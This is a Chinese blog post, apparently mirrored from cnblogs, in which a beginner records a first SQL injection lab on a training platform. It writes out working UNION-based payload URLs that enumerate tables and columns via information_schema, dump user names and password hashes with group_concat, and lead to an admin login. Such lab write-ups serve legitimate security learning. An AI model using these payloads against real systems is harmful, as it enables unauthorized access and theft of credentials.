zoukankan      html  css  js  c++  java
  • 第一次MySQL的SQL注入实验

    测试平台:https://www.mozhe.cn/news/detail/324

    上完SQL注入的第一节课过来对着笔记一步一步来做。。

    1.首页面上没有id=XXX的东西,看见“平台维护通知”,点开

     2.终于看到了ID=1了,(*^▽^*)

     3.尝试and 1 =1 ,1=2 确认可以注入

    4.使用 order by 一个数一个数猜,猜到5发现不行了,所以应该列数是4

     5:使用union语句联合查询 因为MySQL是

    database():数据库名

    user():数据库用户

    version():数据库版本

    @@version_compile_os:操作系统

    因此在union 后面的Select语句上加上database()让他爆出来库名

    http://219.153.49.228:49546/new_list.php?id=-1 union select 1,database(),3,4

     库名直接出来了是mozhe_Discuz_StormGroup

    之后要对这个库去查询表的名称

    含义:

    information_schema.tables:

    information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。

     information_schema.columns:

    information_schema数据库下的columns表名,含义:存储所有数据库下的列名信息的表。

    Table_schema:数据库名

    Table_name:表名

    Column_name:列名

    因此:构建 http://219.153.49.228:49546/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

    出来了表名:StormGroup_member

    接下来一鼓作气,找到列名:  

    http://219.153.49.228:42900/new_list.php?id=-1 union select 1,column_name,3,4 from information_schema.columns where table_name='StormGroup_member'

    只显示一个ID

    (⊙o⊙)…,只有一个ID,如何能让他列出来所有表名呢,可以使用group_concat() 他的作用是把所有当前表名的自断直接连接成一行,生成后的表段为

    http://219.153.49.228:42900/new_list.php?id=-1 union select 1,(select group_concat(column_name)),3,4 from information_schema.columns where table_name='StormGroup_member'

    什么都拿到了,于是兴冲冲的直接查表

    然后MD5解密:

    然后。。就登录失败了

    。。。。。我知道了,肯定还是没有加group_concat()的原因,发现了另外一个隐藏

    http://219.153.49.228:42900/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

    成功进入后台,拿到Key值

  • 相关阅读:
    opengl一些基础函数-- 缓冲区
    width = 100%??
    设置scrollTop无效
    es5与es6继承区别
    immutable-treeUtils树的理解
    react 事件绑定
    es-6 class
    es6-Module语法
    es6--set数组去重,Map数据结构
    promise对象
  • 原文地址:https://www.cnblogs.com/SonnyYeung/p/12514870.html
Copyright © 2011-2022 走看看